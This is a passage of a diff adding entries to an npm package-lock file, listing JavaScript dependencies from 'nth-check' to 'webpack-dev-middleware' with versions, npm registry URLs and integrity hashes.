+          "resolved": "https://registry.npmjs.org/nth-check/-/nth-check-1.0.2.tgz",
+          "integrity": "sha512-WeBOdju8SnzPN5vTUJYxYUxLeXpCaVP5i5e0LF8fg7WORF2Wd7wFX/pk0tYZk7s8T+J7VLy0Da6J1+wCT0AtHg==",
+          "requires": {
+            "boolbase": "~1.0.0"
+          }
+        }
+      }
+    },
+    "symbol-tree": {
+      "version": "3.2.4",
+      "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz",
+      "integrity": "sha512-9QNk5KwDF+Bvz+PyObkmSYjI5ksVUYtjW7AU22r2NKcfLJcXp96hkDWU3+XndOsUb+AQ9QhfzfCT2O+CNWT5Tw=="
+    },
+    "tailwindcss": {
+      "version": "3.1.8",
+      "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-3.1.8.tgz",
+      "integrity": "sha512-YSneUCZSFDYMwk+TGq8qYFdCA3yfBRdBlS7txSq0LUmzyeqRe3a8fBQzbz9M3WS/iFT4BNf/nmw9mEzrnSaC0g==",
+      "requires": {
+        "arg": "^5.0.2",
+        "chokidar": "^3.5.3",
+        "color-name": "^1.1.4",
+        "detective": "^5.2.1",
+        "didyoumean": "^1.2.2",
+        "dlv": "^1.1.3",
+        "fast-glob": "^3.2.11",
+        "glob-parent": "^6.0.2",
+        "is-glob": "^4.0.3",
+        "lilconfig": "^2.0.6",
+        "normalize-path": "^3.0.0",
+        "object-hash": "^3.0.0",
+        "picocolors": "^1.0.0",
+        "postcss": "^8.4.14",
+        "postcss-import": "^14.1.0",
+        "postcss-js": "^4.0.0",
+        "postcss-load-config": "^3.1.4",
+        "postcss-nested": "5.0.6",
+        "postcss-selector-parser": "^6.0.10",
+        "postcss-value-parser": "^4.2.0",
+        "quick-lru": "^5.1.1",
+        "resolve": "^1.22.1"
+      },
+      "dependencies": {
+        "color-name": {
+          "version": "1.1.4",
+          "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz",
+          "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA=="
+        }
+      }
+    },
+    "tapable": {
+      "version": "2.2.1",
+      "resolved": "https://registry.npmjs.org/tapable/-/tapable-2.2.1.tgz",
+      "integrity": "sha512-GNzQvQTOIP6RyTfE2Qxb8ZVlNmw0n88vp1szwWRimP02mnTsx3Wtn5qRdqY9w2XduFNUgvOwhNnQsjwCp+kqaQ=="
+    },
+    "temp-dir": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/temp-dir/-/temp-dir-2.0.0.tgz",
+      "integrity": "sha512-aoBAniQmmwtcKp/7BzsH8Cxzv8OL736p7v1ihGb5e9DJ9kTwGWHrQrVB5+lfVDzfGrdRzXch+ig7LHaY1JTOrg=="
+    },
+    "tempy": {
+      "version": "0.6.0",
+      "resolved": "https://registry.npmjs.org/tempy/-/tempy-0.6.0.tgz",
+      "integrity": "sha512-G13vtMYPT/J8A4X2SjdtBTphZlrp1gKv6hZiOjw14RCWg6GbHuQBGtjlx75xLbYV/wEc0D7G5K4rxKP/cXk8Bw==",
+      "requires": {
+        "is-stream": "^2.0.0",
+        "temp-dir": "^2.0.0",
+        "type-fest": "^0.16.0",
+        "unique-string": "^2.0.0"
+      },
+      "dependencies": {
+        "type-fest": {
+          "version": "0.16.0",
+          "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.16.0.tgz",
+          "integrity": "sha512-eaBzG6MxNzEn9kiwvtre90cXaNLkmadMWa1zQMs3XORCXNbsH/OewwbxC5ia9dCxIxnTAsSxXJaa/p5y8DlvJg=="
+        }
+      }
+    },
+    "terminal-link": {
+      "version": "2.1.1",
+      "resolved": "https://registry.npmjs.org/terminal-link/-/terminal-link-2.1.1.tgz",
+      "integrity": "sha512-un0FmiRUQNr5PJqy9kP7c40F5BOfpGlYTrxonDChEZB7pzZxRNp/bt+ymiy9/npwXya9KH99nJ/GXFIiUkYGFQ==",
+      "requires": {
+        "ansi-escapes": "^4.2.1",
+        "supports-hyperlinks": "^2.0.0"
+      }
+    },
+    "terser": {
+      "version": "5.31.6",
+      "resolved": "https://registry.npmjs.org/terser/-/terser-5.31.6.tgz",
+      "integrity": "sha512-PQ4DAriWzKj+qgehQ7LK5bQqCFNMmlhjR2PFFLuqGCpuCAauxemVBWwWOxo3UIwWQx8+Pr61Df++r76wDmkQBg==",
+      "requires": {
+        "@jridgewell/source-map": "^0.3.3",
+        "acorn": "^8.8.2",
+        "commander": "^2.20.0",
+        "source-map-support": "~0.5.20"
+      },
+      "dependencies": {
+        "commander": {
+          "version": "2.20.3",
+          "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz",
+          "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ=="
+        }
+      }
+    },
+    "terser-webpack-plugin": {
+      "version": "5.3.10",
+      "resolved": "https://registry.npmjs.org/terser-webpack-plugin/-/terser-webpack-plugin-5.3.10.tgz",
+      "integrity": "sha512-BKFPWlPDndPs+NGGCr1U59t0XScL5317Y0UReNrHaw9/FwhPENlq6bfgs+4yPfyP51vqC1bQ4rp1EfXW5ZSH9w==",
+      "requires": {
+        "@jridgewell/trace-mapping": "^0.3.20",
+        "jest-worker": "^27.4.5",
+        "schema-utils": "^3.1.1",
+        "serialize-javascript": "^6.0.1",
+        "terser": "^5.26.0"
+      }
+    },
+    "test-exclude": {
+      "version": "6.0.0",
+      "resolved": "https://registry.npmjs.org/test-exclude/-/test-exclude-6.0.0.tgz",
+      "integrity": "sha512-cAGWPIyOHU6zlmg88jwm7VRyXnMN7iV68OGAbYDk/Mh/xC/pzVPlQtY6ngoIH/5/tciuhGfvESU8GrHrcxD56w==",
+      "requires": {
+        "@istanbuljs/schema": "^0.1.2",
+        "glob": "^7.1.4",
+        "minimatch": "^3.0.4"
+      }
+    },
+    "text-table": {
+      "version": "0.2.0",
+      "resolved": "https://registry.npmjs.org/text-table/-/text-table-0.2.0.tgz",
+      "integrity": "sha512-N+8UisAXDGk8PFXP4HAzVR9nbfmVJ3zYLAWiTIoqC5v5isinhr+r5uaO8+7r3BMfuNIufIsA7RdpVgacC2cSpw=="
+    },
+    "throat": {
+      "version": "6.0.1",
+      "resolved": "https://registry.npmjs.org/throat/-/throat-6.0.1.tgz",
+      "integrity": "sha512-8hmiGIJMDlwjg7dlJ4yKGLK8EsYqKgPWbG3b4wjJddKNwc7N7Dpn08Df4szr/sZdMVeOstrdYSsqzX6BYbcB+w=="
+    },
+    "thunky": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/thunky/-/thunky-1.1.0.tgz",
+      "integrity": "sha512-eHY7nBftgThBqOyHGVN+l8gF0BucP09fMo0oO/Lb0w1OF80dJv+lDVpXG60WMQvkcxAkNybKsrEIE3ZtKGmPrA=="
+    },
+    "tmpl": {
+      "version": "1.0.5",
+      "resolved": "https://registry.npmjs.org/tmpl/-/tmpl-1.0.5.tgz",
+      "integrity": "sha512-3f0uOEAQwIqGuWW2MVzYg8fV/QNnc/IpuJNG837rLuczAaLVHslWHZQj4IGiEl5Hs3kkbhwL9Ab7Hrsmuj+Smw=="
+    },
+    "to-regex-range": {
+      "version": "5.0.1",
+      "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
+      "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
+      "requires": {
+        "is-number": "^7.0.0"
+      }
+    },
+    "toidentifier": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/toidentifier/-/toidentifier-1.0.1.tgz",
+      "integrity": "sha512-o5sSPKEkg/DIQNmH43V0/uerLrpzVedkUh8tGNvaeXpfpuwjKenlSox/2O/BTlZUtEe+JG7s5YhEz608PlAHRA=="
+    },
+    "tough-cookie": {
+      "version": "4.1.3",
+      "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.1.3.tgz",
+      "integrity": "sha512-aX/y5pVRkfRnfmuX+OdbSdXvPe6ieKX/G2s7e98f4poJHnqH3281gDPm/metm6E/WRamfx7WC4HUqkWHfQHprw==",
+      "requires": {
+        "psl": "^1.1.33",
+        "punycode": "^2.1.1",
+        "universalify": "^0.2.0",
+        "url-parse": "^1.5.3"
+      },
+      "dependencies": {
+        "universalify": {
+          "version": "0.2.0",
+          "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.2.0.tgz",
+          "integrity": "sha512-CJ1QgKmNg3CwvAv/kOFmtnEN05f0D/cn9QntgNOQlQF9dgvVTHj3t+8JPdjqawCHk7V/KA+fbUqzZ9XWhcqPUg=="
+        }
+      }
+    },
+    "tr46": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/tr46/-/tr46-2.1.0.tgz",
+      "integrity": "sha512-15Ih7phfcdP5YxqiB+iDtLoaTz4Nd35+IiAv0kQ5FNKHzXgdWqPoTIqEDDJmXceQt4JZk6lVPT8lnDlPpGDppw==",
+      "requires": {
+        "punycode": "^2.1.1"
+      }
+    },
+    "tryer": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/tryer/-/tryer-1.0.1.tgz",
+      "integrity": "sha512-c3zayb8/kWWpycWYg87P71E1S1ZL6b6IJxfb5fvsUgsf0S2MVGaDhDXXjDMpdCpfWXqptc+4mXwmiy1ypXqRAA=="
+    },
+    "tsconfig-paths": {
+      "version": "3.14.1",
+      "resolved": "https://registry.npmjs.org/tsconfig-paths/-/tsconfig-paths-3.14.1.tgz",
+      "integrity": "sha512-fxDhWnFSLt3VuTwtvJt5fpwxBHg5AdKWMsgcPOOIilyjymcYVZoCQF8fvFRezCNfblEXmi+PcM1eYHeOAgXCOQ==",
+      "requires": {
+        "@types/json5": "^0.0.29",
+        "json5": "^1.0.1",
+        "minimist": "^1.2.6",
+        "strip-bom": "^3.0.0"
+      },
+      "dependencies": {
+        "json5": {
+          "version": "1.0.2",
+          "resolved": "https://registry.npmjs.org/json5/-/json5-1.0.2.tgz",
+          "integrity": "sha512-g1MWMLBiz8FKi1e4w0UyVL3w+iJceWAFBAaBnnGKOpNa5f8TLktkbre1+s6oICydWAm+HRUGTmI+//xv2hvXYA==",
+          "requires": {
+            "minimist": "^1.2.0"
+          }
+        },
+        "strip-bom": {
+          "version": "3.0.0",
+          "resolved": "https://registry.npmjs.org/strip-bom/-/strip-bom-3.0.0.tgz",
+          "integrity": "sha512-vavAMRXOgBVNF6nyEEmL3DBK19iRpDcoIwW+swQ+CbGiu7lju6t+JklA1MHweoWtadgt4ISVUsXLyDq34ddcwA=="
+        }
+      }
+    },
+    "tslib": {
+      "version": "2.4.0",
+      "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.4.0.tgz",
+      "integrity": "sha512-d6xOpEDfsi2CZVlPQzGeux8XMwLT9hssAsaPYExaQMuYskwb+x1x7J371tWlbBdWHroy99KnVB6qIkUbs5X3UQ=="
+    },
+    "tsutils": {
+      "version": "3.21.0",
+      "resolved": "https://registry.npmjs.org/tsutils/-/tsutils-3.21.0.tgz",
+      "integrity": "sha512-mHKK3iUXL+3UF6xL5k0PEhKRUBKPBCv/+RkEOpjRWxxx27KKRBmmA60A9pgOUvMi8GKhRMPEmjBRPzs2W7O1OA==",
+      "requires": {
+        "tslib": "^1.8.1"
+      },
+      "dependencies": {
+        "tslib": {
+          "version": "1.14.1",
+          "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.14.1.tgz",
+          "integrity": "sha512-Xni35NKzjgMrwevysHTCArtLDpPvye8zV/0E4EyYn43P7/7qvQwPh9BGkHewbMulVntbigmcT7rdX3BNo9wRJg=="
+        }
+      }
+    },
+    "type-check": {
+      "version": "0.4.0",
+      "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz",
+      "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==",
+      "requires": {
+        "prelude-ls": "^1.2.1"
+      }
+    },
+    "type-detect": {
+      "version": "4.0.8",
+      "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz",
+      "integrity": "sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g=="
+    },
+    "type-fest": {
+      "version": "0.21.3",
+      "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.21.3.tgz",
+      "integrity": "sha512-t0rzBq87m3fVcduHDUFhKmyyX+9eo6WQjZvf51Ea/M0Q7+T374Jp1aUiyUl0GKxp8M/OETVHSDvmkyPgvX+X2w=="
+    },
+    "type-is": {
+      "version": "1.6.18",
+      "resolved": "https://registry.npmjs.org/type-is/-/type-is-1.6.18.tgz",
+      "integrity": "sha512-TkRKr9sUTxEH8MdfuCSP7VizJyzRNMjj2J2do2Jr3Kym598JVdEksuzPQCnlFPW4ky9Q+iA+ma9BGm06XQBy8g==",
+      "requires": {
+        "media-typer": "0.3.0",
+        "mime-types": "~2.1.24"
+      }
+    },
+    "typedarray-to-buffer": {
+      "version": "3.1.5",
+      "resolved": "https://registry.npmjs.org/typedarray-to-buffer/-/typedarray-to-buffer-3.1.5.tgz",
+      "integrity": "sha512-zdu8XMNEDepKKR+XYOXAVPtWui0ly0NtohUscw+UmaHiAWT8hrV1rr//H6V+0DvJ3OQ19S979M0laLfX8rm82Q==",
+      "requires": {
+        "is-typedarray": "^1.0.0"
+      }
+    },
+    "typescript": {
+      "version": "4.8.4",
+      "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.8.4.tgz",
+      "integrity": "sha512-QCh+85mCy+h0IGff8r5XWzOVSbBO+KfeYrMQh7NJ58QujwcE22u+NUSmUxqF+un70P9GXKxa2HCNiTTMJknyjQ==",
+      "peer": true
+    },
+    "unbox-primitive": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.0.2.tgz",
+      "integrity": "sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw==",
+      "requires": {
+        "call-bind": "^1.0.2",
+        "has-bigints": "^1.0.2",
+        "has-symbols": "^1.0.3",
+        "which-boxed-primitive": "^1.0.2"
+      }
+    },
+    "unicode-canonical-property-names-ecmascript": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-2.0.0.tgz",
+      "integrity": "sha512-yY5PpDlfVIU5+y/BSCxAJRBIS1Zc2dDG3Ujq+sR0U+JjUevW2JhocOF+soROYDSaAezOzOKuyyixhD6mBknSmQ=="
+    },
+    "unicode-match-property-ecmascript": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-2.0.0.tgz",
+      "integrity": "sha512-5kaZCrbp5mmbz5ulBkDkbY0SsPOjKqVS35VpL9ulMPfSl0J0Xsm+9Evphv9CoIZFwre7aJoa94AY6seMKGVN5Q==",
+      "requires": {
+        "unicode-canonical-property-names-ecmascript": "^2.0.0",
+        "unicode-property-aliases-ecmascript": "^2.0.0"
+      }
+    },
+    "unicode-match-property-value-ecmascript": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-2.0.0.tgz",
+      "integrity": "sha512-7Yhkc0Ye+t4PNYzOGKedDhXbYIBe1XEQYQxOPyhcXNMJ0WCABqqj6ckydd6pWRZTHV4GuCPKdBAUiMc60tsKVw=="
+    },
+    "unicode-property-aliases-ecmascript": {
+      "version": "2.1.0",
+      "resolved": "https://registry.npmjs.org/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-2.1.0.tgz",
+      "integrity": "sha512-6t3foTQI9qne+OZoVQB/8x8rk2k1eVy1gRXhV3oFQ5T6R1dqQ1xtin3XqSlx3+ATBkliTaR/hHyJBm+LVPNM8w=="
+    },
+    "unique-string": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/unique-string/-/unique-string-2.0.0.tgz",
+      "integrity": "sha512-uNaeirEPvpZWSgzwsPGtU2zVSTrn/8L5q/IexZmH0eH6SA73CmAA5U4GwORTxQAZs95TAXLNqeLoPPNO5gZfWg==",
+      "requires": {
+        "crypto-random-string": "^2.0.0"
+      }
+    },
+    "universalify": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz",
+      "integrity": "sha512-hAZsKq7Yy11Zu1DE0OzWjw7nnLZmJZYTDZZyEFHZdUhV8FkH5MCfoU1XMaxXovpyW5nq5scPqq0ZDP9Zyl04oQ=="
+    },
+    "unpipe": {
+      "version": "1.0.0",
+      "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz",
+      "integrity": "sha512-pjy2bYhSsufwWlKwPc+l3cN7+wuJlK6uz0YdJEOlQDbl6jo/YlPi4mb8agUkVC8BF7V8NuzeyPNqRksA3hztKQ=="
+    },
+    "unquote": {
+      "version": "1.1.1",
+      "resolved": "https://registry.npmjs.org/unquote/-/unquote-1.1.1.tgz",
+      "integrity": "sha512-vRCqFv6UhXpWxZPyGDh/F3ZpNv8/qo7w6iufLpQg9aKnQ71qM4B5KiI7Mia9COcjEhrO9LueHpMYjYzsWH3OIg=="
+    },
+    "upath": {
+      "version": "1.2.0",
+      "resolved": "https://registry.npmjs.org/upath/-/upath-1.2.0.tgz",
+      "integrity": "sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg=="
+    },
+    "update-browserslist-db": {
+      "version": "1.1.0",
+      "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.1.0.tgz",
+      "integrity": "sha512-EdRAaAyk2cUE1wOf2DkEhzxqOQvFOoRJFNS6NeyJ01Gp2beMRpBAINjM2iDXE3KCuKhwnvHIQCJm6ThL2Z+HzQ==",
+      "requires": {
+        "escalade": "^3.1.2",
+        "picocolors": "^1.0.1"
+      }
+    },
+    "uri-js": {
+      "version": "4.4.1",
+      "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz",
+      "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==",
+      "requires": {
+        "punycode": "^2.1.0"
+      }
+    },
+    "urix": {
+      "version": "0.1.0",
+      "resolved": "https://registry.npmjs.org/urix/-/urix-0.1.0.tgz",
+      "integrity": "sha1-2pN/emLiH+wf0Y1Js1wpNQZ6bHI="
+    },
+    "url-parse": {
+      "version": "1.5.10",
+      "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz",
+      "integrity": "sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ==",
+      "requires": {
+        "querystringify": "^2.1.1",
+        "requires-port": "^1.0.0"
+      }
+    },
+    "util-deprecate": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
+      "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw=="
+    },
+    "util.promisify": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/util.promisify/-/util.promisify-1.0.1.tgz",
+      "integrity": "sha512-g9JpC/3He3bm38zsLupWryXHoEcS22YHthuPQSJdMy6KNrzIRzWqcsHzD/WUnqe45whVou4VIsPew37DoXWNrA==",
+      "requires": {
+        "define-properties": "^1.1.3",
+        "es-abstract": "^1.17.2",
+        "has-symbols": "^1.0.1",
+        "object.getownpropertydescriptors": "^2.1.0"
+      }
+    },
+    "utila": {
+      "version": "0.4.0",
+      "resolved": "https://registry.npmjs.org/utila/-/utila-0.4.0.tgz",
+      "integrity": "sha512-Z0DbgELS9/L/75wZbro8xAnT50pBVFQZ+hUEueGDU5FN51YSCYM+jdxsfCiHjwNP/4LCDD0i/graKpeBnOXKRA=="
+    },
+    "utils-merge": {
+      "version": "1.0.1",
+      "resolved": "https://registry.npmjs.org/utils-merge/-/utils-merge-1.0.1.tgz",
+      "integrity": "sha512-pMZTvIkT1d+TFGvDOqodOclx0QWkkgi6Tdoa8gC8ffGAAqz9pzPTZWAybbsHHoED/ztMtkv/VoYTYyShUn81hA=="
+    },
+    "uuid": {
+      "version": "8.3.2",
+      "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz",
+      "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg=="
+    },
+    "v8-to-istanbul": {
+      "version": "8.1.1",
+      "resolved": "https://registry.npmjs.org/v8-to-istanbul/-/v8-to-istanbul-8.1.1.tgz",
+      "integrity": "sha512-FGtKtv3xIpR6BYhvgH8MI/y78oT7d8Au3ww4QIxymrCtZEh5b8gCw2siywE+puhEmuWKDtmfrvF5UlB298ut3w==",
+      "requires": {
+        "@types/istanbul-lib-coverage": "^2.0.1",
+        "convert-source-map": "^1.6.0",
+        "source-map": "^0.7.3"
+      },
+      "dependencies": {
+        "source-map": {
+          "version": "0.7.4",
+          "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.7.4.tgz",
+          "integrity": "sha512-l3BikUxvPOcn5E74dZiq5BGsTb5yEwhaTSzccU6t4sDOH8NWJCstKO5QT2CvtFoK6F0saL7p9xHAqHOlCPJygA=="
+        }
+      }
+    },
+    "vary": {
+      "version": "1.1.2",
+      "resolved": "https://registry.npmjs.org/vary/-/vary-1.1.2.tgz",
+      "integrity": "sha512-BNGbWLfd0eUPabhkXUVm0j8uuvREyTh5ovRa/dyow/BqAbZJyC+5fU+IzQOzmAKzYqYRAISoRhdQr3eIZ/PXqg=="
+    },
+    "w3c-hr-time": {
+      "version": "1.0.2",
+      "resolved": "https://registry.npmjs.org/w3c-hr-time/-/w3c-hr-time-1.0.2.tgz",
+      "integrity": "sha512-z8P5DvDNjKDoFIHK7q8r8lackT6l+jo/Ye3HOle7l9nICP9lf1Ci25fy9vHd0JOWewkIFzXIEig3TdKT7JQ5fQ==",
+      "requires": {
+        "browser-process-hrtime": "^1.0.0"
+      }
+    },
+    "w3c-xmlserializer": {
+      "version": "2.0.0",
+      "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-2.0.0.tgz",
+      "integrity": "sha512-4tzD0mF8iSiMiNs30BiLO3EpfGLZUT2MSX/G+o7ZywDzliWQ3OPtTZ0PTC3B3ca1UAf4cJMHB+2Bf56EriJuRA==",
+      "requires": {
+        "xml-name-validator": "^3.0.0"
+      }
+    },
+    "wait-for-expect": {
+      "version": "3.0.2",
+      "resolved": "https://registry.npmjs.org/wait-for-expect/-/wait-for-expect-3.0.2.tgz",
+      "integrity": "sha512-cfS1+DZxuav1aBYbaO/kE06EOS8yRw7qOFoD3XtjTkYvCvh3zUvNST8DXK/nPaeqIzIv3P3kL3lRJn8iwOiSag=="
+    },
+    "walker": {
+      "version": "1.0.8",
+      "resolved": "https://registry.npmjs.org/walker/-/walker-1.0.8.tgz",
+      "integrity": "sha512-ts/8E8l5b7kY0vlWLewOkDXMmPdLcVV4GmOQLyxuSswIJsweeFZtAsMF7k1Nszz+TYBQrlYRmzOnr398y1JemQ==",
+      "requires": {
+        "makeerror": "1.0.12"
+      }
+    },
+    "watchpack": {
+      "version": "2.4.2",
+      "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.4.2.tgz",
+      "integrity": "sha512-TnbFSbcOCcDgjZ4piURLCbJ3nJhznVh9kw6F6iokjiFPl8ONxe9A6nMDVXDiNbrSfLILs6vB07F7wLBrwPYzJw==",
+      "requires": {
+        "glob-to-regexp": "^0.4.1",
+        "graceful-fs": "^4.1.2"
+      }
+    },
+    "wbuf": {
+      "version": "1.7.3",
+      "resolved": "https://registry.npmjs.org/wbuf/-/wbuf-1.7.3.tgz",
+      "integrity": "sha512-O84QOnr0icsbFGLS0O3bI5FswxzRr8/gHwWkDlQFskhSPryQXvrTMxjxGP4+iWYoauLoBvfDpkrOauZ+0iZpDA==",
+      "requires": {
+        "minimalistic-assert": "^1.0.0"
+      }
+    },
+    "webidl-conversions": {
+      "version": "6.1.0",
+      "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-6.1.0.tgz",
+      "integrity": "sha512-qBIvFLGiBpLjfwmYAaHPXsn+ho5xZnGvyGvsarywGNc8VyQJUMHJ8OBKGGrPER0okBeMDaan4mNBlgBROxuI8w=="
+    },
+    "webpack": {
+      "version": "5.94.0",
+      "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.94.0.tgz",
+      "integrity": "sha512-KcsGn50VT+06JH/iunZJedYGUJS5FGjow8wb9c0v5n1Om8O1g4L6LjtfxwlXIATopoQu+vOXXa7gYisWxCoPyg==",
+      "requires": {
+        "@types/estree": "^1.0.5",
+        "@webassemblyjs/ast": "^1.12.1",
+        "@webassemblyjs/wasm-edit": "^1.12.1",
+        "@webassemblyjs/wasm-parser": "^1.12.1",
+        "acorn": "^8.7.1",
+        "acorn-import-attributes": "^1.9.5",
+        "browserslist": "^4.21.10",
+        "chrome-trace-event": "^1.0.2",
+        "enhanced-resolve": "^5.17.1",
+        "es-module-lexer": "^1.2.1",
+        "eslint-scope": "5.1.1",
+        "events": "^3.2.0",
+        "glob-to-regexp": "^0.4.1",
+        "graceful-fs": "^4.2.11",
+        "json-parse-even-better-errors": "^2.3.1",
+        "loader-runner": "^4.2.0",
+        "mime-types": "^2.1.27",
+        "neo-async": "^2.6.2",
+        "schema-utils": "^3.2.0",
+        "tapable": "^2.1.1",
+        "terser-webpack-plugin": "^5.3.10",
+        "watchpack": "^2.4.1",
+        "webpack-sources": "^3.2.3"
+      },
+      "dependencies": {
+        "eslint-scope": {
+          "version": "5.1.1",
+          "resolved": "https://registry.npmjs.org/eslint-scope/-/eslint-scope-5.1.1.tgz",
+          "integrity": "sha512-2NxwbF/hZ0KpepYN0cNbo+FN6XoK7GaHlQhgx/hIZl6Va0bF45RQOOwhLIy8lQDbuCiadSLCBnH2CFYquit5bw==",
+          "requires": {
+            "esrecurse": "^4.3.0",
+            "estraverse": "^4.1.1"
+          }
+        },
+        "estraverse": {
+          "version": "4.3.0",
+          "resolved": "https://registry.npmjs.org/estraverse/-/estraverse-4.3.0.tgz",
+          "integrity": "sha512-39nnKffWz8xN1BU/2c79n9nB9HDzo0niYUqx6xyqUnyoAnQyyWpOTdZEeiCch8BBu515t4wp9ZmgVfVhn9EBpw=="
+        }
+      }
+    },
+    "webpack-dev-middleware": {
+      "version": "5.3.4",
+      "resolved": "https://registry.npmjs.org/webpack-dev-middleware/-/webpack-dev-middleware-5.3.4.tgz",
+      "integrity": "sha512-BVdTqhhs+0IfoeAf7EoH5WE+exCmqGerHfDM0IL096Px60Tq2Mn9MAbnaGUe6HiMa41KMCYF19gyzZmBcq/o4Q==",
+      "requires": {
+        "colorette": "^2.0.10",
+        "memfs": "^3.4.3",
+        "mime-types": "^2.1.31",
+        "range-parser": "^1.2.1",
+        "schema-utils": "^4.0.0"
+      },
+      "dependencies": {
+        "ajv": {
+          "version": "8.11.0",
+          "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.11.0.tgz",
+          "integrity": "sha512-wGgprdCvMalC0BztXvitD2hC04YffAvtsUn93JbGXYLAtCUO4xd17mCCZQxUOItiBwZvJScWo8NIvQMQ71rdpg==",
+          "requires": {
+            "fast-deep-equal": "^3.1.1",
+            "json-schema-traverse": "^1.0.0",
+            "require-from-string": "^2.0.2",
+            "uri-js": "^4.2.2"
+          }
+        },
+        "ajv-keywords": {
+          "version": "5.1.0",
+          "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-5.1.0.tgz",
+          "integrity": "sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==",
+          "requires": {
+            "fast-deep-equal": "^3.1.3"
+          }
+        },
+        "json-schema-traverse": {
+          "version": "1.0.0",
+          "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz",
+          "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug=="
+        },
+        "schema-utils": {
+          "version": "4.0.0",
+          "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-4.0.0.tgz",
+          "integrity": "sha512-1edyXKgh6XnJsJSQ8mKWXnN/BVaIbFMLpouRUrXgVq7WYne5kw3MW7UPhO44uRXQSIpTSXoJbmrR2X0w9kUTyg==",
+          "requires": {
+            "@types/json-schema": "^7.0.9",
+            "ajv": "^8.8.0",
+            "ajv-formats": "^2.1.1",
+            "ajv-keywords": "^5.0.0"
